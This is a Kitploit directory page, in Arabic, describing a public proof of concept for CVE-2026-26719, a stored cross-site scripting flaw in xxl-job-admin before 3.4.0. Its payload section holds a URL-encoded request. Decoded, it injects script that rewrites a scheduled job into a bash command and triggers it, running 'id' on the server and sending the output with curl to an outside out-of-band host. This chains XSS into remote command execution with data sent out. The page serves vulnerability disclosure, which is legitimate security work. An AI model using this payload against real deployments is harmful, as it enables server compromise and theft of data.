Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-26719 — توجد ثغرة برمجة نصية عبر المواقع (XSS) مخزّنة في xxl-job-admin في JobInfoController.java حيث تقبل معلمة addressList كود JavaScript مشفَّرًا بتنسيق URL دون تنقية. يتم تخزين الحمولة وتنفيذها لاحقًا في متصفحات المستخدمين، مما يؤدي إلى إجراءات غير مصرح بها. | Kitploit
أدوات/GitHubGitHub/ibrahim-sartawi/cve-2026-26719
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراق
GitHubibrahim-sartawi/cve-2026-26719

CVE-2026-26719

توجد ثغرة برمجة نصية عبر المواقع (XSS) مخزّنة في xxl-job-admin في JobInfoController.java حيث تقبل معلمة addressList كود JavaScript مشفَّرًا بتنسيق URL دون تنقية. يتم تخزين الحمولة وتنفيذها لاحقًا في متصفحات المستخدمين، مما يؤدي إلى إجراءات غير مصرح بها.

عرض المستودع
11منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

الوصف

الملخص

توجد ثغرة برمجة نصية عبر المواقع (Cross‑Site Scripting) مخزّنة في xxl-job-admin في JobInfoController.java حيث تقبل المعلمة addressList بيانات JavaScript مشفّرة عبر URL دون تعقيم. يتم تخزين الحمولة وتنفيذها لاحقًا في متصفحات المستخدمين، مما يؤدي إلى إجراءات غير مصرّح بها.

المنتجات المتأثرة

root@kitploit:~
xxl-job < 3.4.0

التأثير

ثغرة البرمجة النصية عبر المواقع (Cross Site Scripting) في xxl-job-admin < v.3.4.0 تسمح لمهاجم عن بُعد بتنفيذ تعليمات برمجية عشوائية عبر طلب HTTP GET مخصص يحتوي على نص برمجي خبيث.

إثبات المفهوم

https://github.com/user-attachments/assets/01d7d767-ae1d-4a71-9bab-fcf76e01525d

الحمولة

root@kitploit:~
/jobinfo/trigger?id=294&executorParam=test&addressList=%3c%73%63%72%69%70%74%3e%66%65%74%63%68%28%27%2f%77%61%6c%6c%79%74%2d%6a%6f%62%2d%61%64%6d%69%6e%2f%6a%6f%62%63%6f%64%65%2f%73%61%76%65%3f%69%64%3d%32%39%34%26%67%6c%75%65%53%6f%75%72%63%65%3d%25%32%33%21%25%32%46%62%69%6e%25%32%46%62%61%73%68%25%30%41%69%64%2b%25%37%43%2b%63%75%72%6c%2b%2d%64%2b%25%34%30%2d%2b%68%74%74%70%25%33%41%25%32%46%25%32%46%71%69%63%38%62%72%36%64%36%6f%6d%32%6a%34%35%39%7a%6b%34%65%76%75%69%6d%6c%64%72%34%66%30%33%70%2e%6f%61%73%74%69%66%79%2e%63%6f%6d%2b%25%30%41%65%78%69%74%2b%30%25%30%41%26%67%6c%75%65%52%65%6d%61%72%6b%3d%31%32%33%34%35%27%2c%20%7b%6d%65%74%68%6f%64%3a%20%27%47%45%54%27%2c%63%72%65%64%65%6e%74%69%61%6c%73%3a%20%27%69%6e%63%6c%75%64%65%27%7d%29%3c%2f%73%63%72%69%70%74%3e%0a%3c%73%63%72%69%70%74%3e%66%65%74%63%68%28%27%2f%77%61%6c%6c%79%74%2d%6a%6f%62%2d%61%64%6d%69%6e%2f%6a%6f%62%69%6e%66%6f%2f%74%72%69%67%67%65%72%3f%69%64%3d%32%39%34%26%65%78%65%63%75%74%6f%72%50%61%72%61%6d%3d%74%65%73%74%26%61%64%64%72%65%73%73%4c%69%73%74%3d%27%2c%7b%6d%65%74%68%6f%64%3a%20%27%47%45%54%27%2c%63%72%65%64%65%6e%74%69%61%6c%73%3a%20%27%69%6e%63%6c%75%64%65%27%7d%29%3c%2f%73%63%72%69%70%74%3e://localhost:8090 

الفضل يعود إلى Ibrahim Sartawi

تنزيل الأداة